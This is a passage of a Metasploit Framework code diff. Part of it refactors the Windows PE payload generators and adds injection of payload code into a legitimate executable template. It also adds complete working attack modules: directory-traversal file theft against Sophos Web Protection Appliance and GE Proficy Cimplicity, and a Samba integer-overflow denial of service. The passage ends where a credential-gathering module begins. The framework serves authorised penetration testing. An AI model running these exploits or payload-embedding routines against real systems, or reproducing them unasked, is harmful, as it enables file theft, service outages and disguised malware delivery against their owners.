File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 4096) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" + #try to inject code into executable by adding a section without affecting executable behavior + if(opts[:inject]) + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x64 + }) + exe = injector.generate_pe + return exe end - - return pe + opts[:exe_type] = :exe_sub + exe_sub_method(code,opts) end def self.to_win32pe_service(framework, code, opts={}) - - name = opts[:servicename] - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") - - pe = '' - File.open(opts[:template], 'rb') { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 8192) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" - end - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') - end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - - return pe + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) end def self.to_win64pe_service(framework, code, opts={}) - - name = opts[:servicename] - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 8192) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" - end - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') - end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - - return pe + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) end def self.to_win32pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 2048) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" - end - - # optional mutex - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - - return pe + opts[:exe_type] = :dll + exe_sub_method(code,opts) end def self.to_win64pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 2048) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" - end - - # optional mutex - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - - return pe + opts[:exe_type] = :dll + exe_sub_method(code,opts) end def self.to_osx_arm_macho(framework, code, opts={}) diff --git a/lib/rbmysql.rb b/lib/rbmysql.rb index 68f2fbdf69..705a5ecd97 100644 --- a/lib/rbmysql.rb +++ b/lib/rbmysql.rb @@ -280,7 +280,7 @@ class RbMysql # In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'. # You should use place-holder in prepared-statement. def escape_string(str) - str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| + str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s| case s when "\0" then "\\0" when "\n" then "\\n" diff --git a/lib/rbmysql/compat.rb b/lib/rbmysql/compat.rb index 3df7441201..949fbb3524 100644 --- a/lib/rbmysql/compat.rb +++ b/lib/rbmysql/compat.rb @@ -32,7 +32,7 @@ class RbMysql alias get_client_info client_info def escape_string(str) - str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| + str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s| case s when "\0" then "\\0" when "\n" then "\\n" diff --git a/lib/rbreadline.rb b/lib/rbreadline.rb index a7006d25c3..26e77915fb 100644 --- a/lib/rbreadline.rb +++ b/lib/rbreadline.rb @@ -5272,7 +5272,7 @@ module RbReadline # Actually update the display, period. def rl_forced_update_display() if (@visible_line) - @visible_line.gsub!(/[^\x00]/,0.chr) + @visible_line.gsub!(/[^\x00]/n,0.chr) end rl_on_new_line() @forced_display=true if !@forced_display @@ -8520,7 +8520,7 @@ module RbReadline count -= 1 end - str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string + str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string case @encoding when 'E' diff --git a/lib/rex/parser/burp_session_nokogiri.rb b/lib/rex/parser/burp_session_nokogiri.rb index 1ddd79c5aa..2822fa28bf 100644 --- a/lib/rex/parser/burp_session_nokogiri.rb +++ b/lib/rex/parser/burp_session_nokogiri.rb @@ -116,7 +116,7 @@ module Rex if query @state[:query] = "?#{query}" # Can be nil end - if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/ + if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n real_path = "/#{$1}" else real_path = path diff --git a/lib/rex/parser/mbsa_nokogiri.rb b/lib/rex/parser/mbsa_nokogiri.rb index d8d9c6b122..c66ec056eb 100644 --- a/lib/rex/parser/mbsa_nokogiri.rb +++ b/lib/rex/parser/mbsa_nokogiri.rb @@ -176,7 +176,7 @@ module Rex :os_family => os_family, :os_version => os_version, :os_accuracy => 100, - :os_match => os_info.gsub(/\x2e$/,"") + :os_match => os_info.gsub(/\x2e$/n,"") } end end diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index 76a480994f..b97c3789eb 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -1627,8 +1627,8 @@ class PeBase if (rname & 0x80000000 != 0) rname &= ~0x80000000 unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ] - unistr, trash = unistr.split(/\x00\x00/, 2) - return unistr ? unistr.gsub(/\x00/, '') : nil + unistr, trash = unistr.split(/\x00\x00/n, 2) + return unistr ? unistr.gsub(/\x00/n, '') : nil end rname.to_s diff --git a/lib/rex/peparsey/section.rb b/lib/rex/peparsey/section.rb index 1be7468bae..983c6bb72a 100644 --- a/lib/rex/peparsey/section.rb +++ b/lib/rex/peparsey/section.rb @@ -38,7 +38,7 @@ class Section return nil if !_section_header # FIXME make this better... - _section_header.v['Name'].gsub(/\x00+$/, '') + _section_header.v['Name'].gsub(/\x00+$/n, '') end def flags diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 67fc0fdf81..130fe41c9a 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -4,6 +4,9 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/client' + +# Used to generate a reflective DLL when migrating. This is yet another +# argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' module Rex @@ -147,7 +150,7 @@ class ClientCore < Extension end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") + path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") if (opts['ExtensionPath']) path = opts['ExtensionPath'] @@ -209,7 +212,7 @@ class ClientCore < Extension # Include the appropriate reflective dll injection module for the target process architecture... if( process['arch'] == ARCH_X86 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) - binary_suffix = "dll" + binary_suffix = "x86.dll" elsif( process['arch'] == ARCH_X86_64 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) binary_suffix = "x64.dll" @@ -219,7 +222,7 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" ) + migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" ) blob = migrate_stager.stage_payload @@ -297,7 +300,7 @@ class ClientCore < Extension client.binary_suffix = 'x64.dll' else client.platform = 'x86/win32' - client.binary_suffix = 'dll' + client.binary_suffix = 'x86.dll' end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index f89e676f77..e6bb5dc472 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -46,11 +46,7 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - if( client.platform == 'x64/win64' ) - elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" ) - else - elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" ) - end + elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" ) elevator_path = ::File.expand_path( elevator_path ) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 1807196ea7..a787e218d3 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -249,7 +249,7 @@ class Registry response = client.send_request(request) cls = response.get_tlv(TLV_TYPE_VALUE_DATA) return nil if not cls - data = cls.value.gsub(/\x00.*/, '') + data = cls.value.gsub(/\x00.*/n, '') return data end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 537ec99e63..b538251b6d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -157,7 +157,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' ) + screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' ) screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| @@ -167,7 +167,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' ) + screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' ) screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 7e36a017e2..1cf58f4007 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -377,7 +377,7 @@ class Console::CommandDispatcher::Core case opt when "-l" exts = [] - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter') + path = ::File.join(Msf::Config.data_directory, 'meterpreter') ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) exts.push($1) @@ -422,7 +422,7 @@ class Console::CommandDispatcher::Core def cmd_load_tabs(str, words) tabs = [] - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter') + path = ::File.join(Msf::Config.data_directory, 'meterpreter') ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) if (not extensions.include?($1)) diff --git a/lib/rex/proto/drda/utils.rb b/lib/rex/proto/drda/utils.rb index 8479bd2ee4..fbf3640c77 100644 --- a/lib/rex/proto/drda/utils.rb +++ b/lib/rex/proto/drda/utils.rb @@ -71,7 +71,7 @@ class Utils ddm.payload.each do |param| case param.codepoint when Constants::SECMEC - info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/ + info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/n when Constants::SECCHKCD info_hash[:security_check_code] = param.payload.unpack("C").first # A little spurious? This is always nonzero when there's no SECCHKRM DDM. diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 71d1c3c1b5..0829fe55d7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -504,7 +504,7 @@ class Client return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] return resp unless ntlm_challenge ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index e582716117..6442284688 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -635,7 +635,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] self.default_domain = info[2] @@ -711,7 +711,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -760,7 +760,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -841,7 +841,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) # Extract the native lanman and os strings - info = data.split(/\x00/) + info = data.split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -1019,7 +1019,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) # Extract the native lanman and os strings - info = data.split(/\x00/) + info = data.split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -1881,7 +1881,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 'C'+ # Short File Name Length 'C' # Reserved ) - name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/, '') + name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '') files[name] = { 'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F', diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 63e1209e5e..144ef80a67 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -875,7 +875,7 @@ module Text # def self.ascii_safe_hex(str, whitespace=false) if whitespace - str.gsub(/([\x00-\x20\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } + str.gsub(/([\x00-\x20\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } else str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]} end @@ -1076,7 +1076,7 @@ module Text def self.dehex(str) return str unless str.respond_to? :match return str unless str.respond_to? :gsub - regex = /\x5cx[0-9a-f]{2}/mi + regex = /\x5cx[0-9a-f]{2}/nmi if str.match(regex) str.gsub(regex) { |x| x[2,2].to_i(16).chr } else @@ -1091,7 +1091,7 @@ module Text def self.dehex!(str) return str unless str.respond_to? :match return str unless str.respond_to? :gsub - regex = /\x5cx[0-9a-f]{2}/mi + regex = /\x5cx[0-9a-f]{2}/nmi str.gsub!(regex) { |x| x[2,2].to_i(16).chr } end @@ -1563,7 +1563,7 @@ module Text end def self.unicode_filter_decode(str) - str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/ ){|m| [$2].pack("H*") } + str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/n ){|m| [$2].pack("H*") } end protected diff --git a/lib/rex/ui/text/input/socket.rb b/lib/rex/ui/text/input/socket.rb index aa832447d6..37541bae28 100644 --- a/lib/rex/ui/text/input/socket.rb +++ b/lib/rex/ui/text/input/socket.rb @@ -62,12 +62,12 @@ class Input::Socket < Rex::Ui::Text::Input # Handle telnet sequences case line - when /\xff\xf4\xff\xfd\x06/ + when /\xff\xf4\xff\xfd\x06/n @sock.write("[*] Caught ^C, closing the socket...\n") @sock.close return - when /\xff\xed\xff\xfd\x06/ + when /\xff\xed\xff\xfd\x06/n @sock.write("[*] Caught ^Z\n") return end diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb index c7e3aa9607..3353a6531b 100644 --- a/lib/rkelly/visitors/evaluation_visitor.rb +++ b/lib/rkelly/visitors/evaluation_visitor.rb @@ -316,7 +316,7 @@ module RKelly when Numeric object.value when ::String - s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/, '') + s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '') if s.length == 0 0 else diff --git a/modules/auxiliary/admin/http/sophos_wpa_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb new file mode 100644 index 0000000000..f0d731803b --- /dev/null +++ b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb @@ -0,0 +1,128 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal', + 'Description' => %q{ + This module abuses a directory traversal in Sophos Web Protection Appliance, specifically + on the /cgi-bin/patience.cgi component. This module has been tested successfully on the + Sophos Web Virtual Appliance v3.7.0. + }, + 'Author' => + [ + 'Wolfgang Ettlingers', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2641' ], + [ 'OSVDB', '91953' ], + [ 'BID', '58833' ], + [ 'EDB', '24932' ], + [ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ], + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ] + ], + 'DefaultOptions' => { + 'SSL' => true + }, + 'DisclosureDate' => 'Apr 03 2013')) + + register_options( + [ + Opt::RPORT(443), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'Traversal depth', 2]) + ], self.class) + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_proficy? + + res = send_request_cgi( + { + 'uri' => "/cgi-bin/patience.cgi", + 'method' => 'GET' + }) + + if res and res.code == 307 and res.body =~ /The patience page request was not valid/ + return true + else + return false + end + end + + def read_file(file) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + travs << "%00" + + print_status("#{@peer} - Retrieving file contents...") + + res = send_request_cgi( + { + 'uri' => "/cgi-bin/patience.cgi", + 'method' => 'GET', + 'encode_params' => false, + 'vars_get' => { + 'id' => travs + } + }) + + + if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID'] + return res.body + else + print_status("#{res.code}\n#{res.body}") + return nil + end + + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...") + if is_proficy? + print_good("#{@peer} - Check successful") + else + print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found") + return + end + + contents = read_file(datastore['FILEPATH']) + if contents.nil? + print_error("#{@peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'sophos.wpa.traversal', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + + end + +end diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb new file mode 100644 index 0000000000..33969e6bf3 --- /dev/null +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -0,0 +1,145 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal', + 'Description' => %q{ + This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the + gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM + privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0653' ], + [ 'OSVDB', '89490' ], + [ 'BID', '57505' ], + [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ] + ], + 'DisclosureDate' => 'Jan 22 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb + OptInt.new('DEPTH', [true, 'Traversal depth', 5]) + ], self.class) + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + + def target_uri + begin + # In case TARGETURI is empty, at least we default to '/' + u = datastore['TARGETURI'] + u = "/" if u.nil? or u.empty? + URI(u) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_proficy? + connect + req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n" + sock.put(req) + res = sock.get_once + disconnect + + if res and res =~ /gefebt\.exe/ + return true + else + return false + end + end + + # We can't use the http client msf mixin because the Proficy Web server + # return a malformed HTTP response with the file contents, there aren't + # two new lines (but one) between the HTTP headers and the body content. + def read_file(file) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + + print_status("#{@peer} - Retrieving file contents...") + + connect + req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n" + sock.put(req) + res = sock.get_once + disconnect + + if res and res =~ /HTTP\/1\.0 200 OK/ + return res + else + return nil + end + + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Checking if it's a GE Proficy Application...") + if is_proficy? + print_good("#{@peer} - Check successful") + else + print_error("#{@peer} - GE proficy not found") + return + end + + contents = read_file(datastore['FILEPATH']) + if contents.nil? + print_error("#{@peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'ge.proficy.traversal', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + + end + +end diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb new file mode 100644 index 0000000000..b6a17ea63a --- /dev/null +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -0,0 +1,128 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/struct2' +require 'rex/proto/smb' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Authenticated + + TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( + [ 'uint16v', 'FID', 0 ], + [ 'uint16v', 'InfoLevel', 0 ], + [ 'uint16v', 'Reserved', 0 ], + ) + + FEA_LIST = Rex::Struct2::CStructTemplate.new( + [ 'uint32v', 'NextOffset', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint8', 'NameLen', 0 ], + [ 'uint16v', 'ValueLen', 0 ], + [ 'string', 'Name', nil, '' ], + [ 'string', 'Value', nil, '' ] + ) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', + 'Description' => %q{ + Integer overflow in the read_nttrans_ea_list function in nttrans.c in + smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before + 4.0.8 allows remote attackers to cause a denial of service (memory + consumption) via a malformed packet. Important Note: in order to work, + the "ea support" option on the target share must be enabled. + }, + 'Author' => + [ + 'Jeremy Allison', # Vulnerability discovery + 'dz_lnly' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95969'], + ['BID', '61597'], + ['EDB', '27778'], + ['CVE', '2013-4124'] + ], + )) + + register_options( + [ + OptString.new('SMBShare', [true, 'Target share', '']), + OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]), + OptInt.new('Tries', [true, 'Number of DOS tries', 40]), + ], self.class) + + end + + def get_fid + ok = self.simple.client.create("/") + return ok['Payload'].v['FileID'] + end + + def mk_items_payload + item1 = FEA_LIST.make_struct + item1.v['ValueLen'] = datastore['MsgLen'] + item1.v['Value'] = "\x00" * datastore['MsgLen'] + item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item1.v['NameLen'] = item1.v['Name'].length + item2 = FEA_LIST.make_struct + item2.v['ValueLen'] = datastore['MsgLen'] + item2.v['Value'] = "\x00" * datastore['MsgLen'] + item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item2.v['NameLen'] = item1.v['Name'].length + item3 = FEA_LIST.make_struct # Some padding + item3.v['ValueLen'] = 4 + item3.v['Value'] = "\x00\x00\x00\x00" + item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item3.v['NameLen'] = item1.v['Name'].length + + ilen = item1.to_s.length + item1.v['NextOffset'] = ilen + # Wrap offset to 0x00 + item2.v['NextOffset'] = 0xffffffff - ilen + 1 + return item1.to_s + item2.to_s + item3.to_s + end + + def send_pkt + fid = get_fid + + trans = TRANS2_PARAM.make_struct + trans.v['FID'] = fid + trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION + data = mk_items_payload + subcmd = 0x08 + self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) + end + + def run + print_status("Trying a max of #{datastore['Tries']} times...") + datastore['Tries'].times do + connect() + smb_login() + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + + print_status('Sending malicious package...') + send_pkt + + begin + self.simple.client.create("") + print_status('Server Answered, DoS unsuccessful') + rescue Timeout::Error + print_good('Server timed out, this is expected') + return + rescue Rex::Proto::SMB::Exceptions::InvalidType + print_status('Server Answered, DoS unsuccessful') + end + disconnect() + end + end + +end diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb new file mode 100644 index 0000000000..7b885b7da6 --- /dev/null +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -0,0 +1,145 